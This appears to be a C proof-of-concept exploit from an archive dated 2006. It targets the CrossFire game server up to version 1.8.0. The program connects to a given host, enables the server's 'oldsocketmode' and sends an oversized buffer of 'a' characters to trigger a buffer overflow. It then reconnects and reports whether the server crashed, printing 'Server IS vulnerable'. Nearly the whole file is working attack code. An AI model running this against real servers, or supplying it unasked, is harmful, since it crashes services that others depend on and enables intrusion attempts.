/* by Luigi Auriemma */ #include #include #include #include #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #define ONESEC 1000 #else #include #include #include #include #include #include #define ONESEC 1 #endif #define VER "0.1" #define PORT 13327 #define MAXSOCKBUF 10240 #define BUFFSZ (MAXSOCKBUF + 256) int readline(int sd, u_char *data, int size); u_int resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, len; u_short port = PORT; u_char buff[BUFFSZ]; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif srand(time(NULL)); setbuf(stdout, NULL); fputs("\n" "CrossFire <= 1.8.0 oldsocketmode buffer-overflow "VER"\n" "bug found by the developers and indipendently by me... but too late\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s [port(%hu)]\n" "\n", argv[0], port); exit(1); } if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); printf("- connect..."); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); printf(" done\n"); printf("- receive server version:\n"); len = readline(sd, buff, sizeof(buff)); if(len < 0) std_err(); printf(" %s\n", !buff[0] ? buff + 2 : buff); printf("- activate oldsocketmode\n"); if(send(sd, "oldsocketmode", 13, 0) < 0) std_err(); printf("- send %d bytes, the server supports max %d\n", sizeof(buff), MAXSOCKBUF); memset(buff, 'a', sizeof(buff)); if(send(sd, buff, sizeof(buff), 0) < 0) std_err(); len = readline(sd, buff, sizeof(buff)); sleep(ONESEC); // needed in my localhost server or it terminates! close(sd); printf("- check server:"); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) { printf("\n Server IS vulnerable!!!\n\n"); } else { printf("\n Server does not seem vulnerable\n\n"); } close(sd); return(0); } int readline(int sd, u_char *data, int size) { int i; size--; for(i = 0; i < size; i++) { if(recv(sd, data, 1, 0) <= 0) return(-1); if(*data == '\n') break; data++; } *data = 0; return(i); } u_int resolv(char *host) { struct hostent *hp; u_int host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_int *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2006-02-27]